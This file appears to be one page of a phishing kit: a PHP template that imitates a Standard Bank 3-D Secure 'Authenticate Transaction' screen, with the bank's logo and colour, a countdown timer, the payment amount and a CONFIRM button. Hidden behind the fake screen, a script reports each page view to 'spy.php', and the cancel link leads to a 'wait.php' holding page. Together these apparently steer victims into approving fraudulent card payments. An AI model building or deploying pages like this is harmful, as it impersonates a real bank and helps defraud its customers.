<?php
$bankKey = 'standard';
require __DIR__ . '/includes/bank-3ds-bootstrap.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secure Payment</title>
    <link rel="stylesheet" href="themes/css/bank-3ds.css" />
    <style>
        body.b3-page { --b3-primary: <?= htmlspecialchars($bankColor, ENT_QUOTES, 'UTF-8') ?>; --b3-link: <?= htmlspecialchars($bankColor, ENT_QUOTES, 'UTF-8') ?>; }
        /* Timer size matched to Standard Bank screenshot */
        .b3-timer {
            width: 90px;
            height: 90px;
            margin: 10px auto 18px;
        }
        .b3-timer-ring {
            width: 90px;
            height: 90px;
        }
        .b3-timer-track,
        .b3-timer-progress {
            stroke-width: 4;
            fill: none;
        }
        .b3-timer-progress {
            stroke-linecap: round;
            stroke-dasharray: 326.7256;
            stroke-dashoffset: 0;
        }
        .b3-timer-text {
            font-size: 17px;
            font-weight: 700;
            letter-spacing: 0.01em;
        }
        .b3-timer--green .b3-timer-track { stroke: #d7ebe0; }
        .b3-timer--green .b3-timer-progress { stroke: #43a047; }
        .b3-timer--green .b3-timer-text { color: #43a047; }
    </style>
</head>
<body class="b3-page">

<div class="b3-sheet b3-sheet--stan">
    <div class="b3-stan-brand">
        <img src="<?= htmlspecialchars($bankLogo, ENT_QUOTES, 'UTF-8') ?>"
            alt="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>" />
    </div>

    <main class="b3-main">
        <h1 class="b3-title">Authenticate Transaction</h1>

        <div class="b3-illus" aria-hidden="true">
            <svg viewBox="0 0 120 100" fill="none" xmlns="http://www.w3.org/2000/svg">
                <rect x="38" y="18" width="44" height="72" rx="6" stroke="#0033a0" stroke-width="2.5"/>
                <rect x="46" y="28" width="28" height="40" rx="2" stroke="#0033a0" stroke-width="1.5"/>
                <circle cx="60" cy="78" r="3" fill="#0033a0"/>
                <path d="M72 34c12-2 22-10 26-20" stroke="#0033a0" stroke-width="1.5" fill="none"/>
                <rect x="86" y="8" width="28" height="22" rx="6" fill="#e8f0ff" stroke="#0033a0" stroke-width="1.5"/>
                <rect x="95" y="14" width="10" height="12" rx="2" stroke="#0033a0" stroke-width="1.5"/>
                <path d="M97 14v-2a3 3 0 0 1 6 0v2" stroke="#0033a0" stroke-width="1.5"/>
            </svg>
        </div>

        <div class="b3-timer b3-timer--green" aria-live="polite">
            <svg class="b3-timer-ring" viewBox="0 0 120 120" aria-hidden="true">
                <circle class="b3-timer-track" cx="60" cy="60" r="52" />
                <circle class="b3-timer-progress" id="timerProgress" cx="60" cy="60" r="52"
                    stroke-dasharray="326.7256" stroke-dashoffset="0" />
            </svg>
            <span class="b3-timer-text" id="timerText">00:59</span>
        </div>
<?php require __DIR__ . '/includes/approv-timer-script.php'; ?>

        <p class="b3-lead">A payment confirmation will be sent to your phone</p>

        <p class="b3-payline">
            You are paying <strong><?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></strong>
            to <strong><?= htmlspecialchars($merchant, ENT_QUOTES, 'UTF-8') ?></strong>
            on <?= htmlspecialchars($digDate, ENT_QUOTES, 'UTF-8') ?>
        </p>

        <a class="b3-btn b3-btn--round js-approv-confirm" href="#" data-bank="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>">CONFIRM</a>

        <div class="b3-cancel-wrap">
            <a class="b3-cancel" href="wait.php?p=cancel">CANCEL</a>
        </div>

        <div class="b3-faq">
            <details>
                <summary>About 3-D Secure<span class="b3-faq-plus">+</span></summary>
                <p>3-D Secure adds an extra step so your bank can confirm it is really you before the payment is completed.</p>
            </details>
            <details>
                <summary>Have not received your OTP?<span class="b3-faq-plus">+</span></summary>
                <p>Open your banking app and approve the request. If nothing appears, wait a moment or cancel and try again.</p>
            </details>
        </div>
    </main>
</div>

<script src="res/jq.js"></script>
<?php require __DIR__ . '/includes/approv-confirm-script.php'; ?>
<script>
if (window.jQuery) { jQuery.post('spy.php', { approvview: 1 }); }
</script>
<?php $m->ctr('APPROV SA'); ?>
</body>
</html>
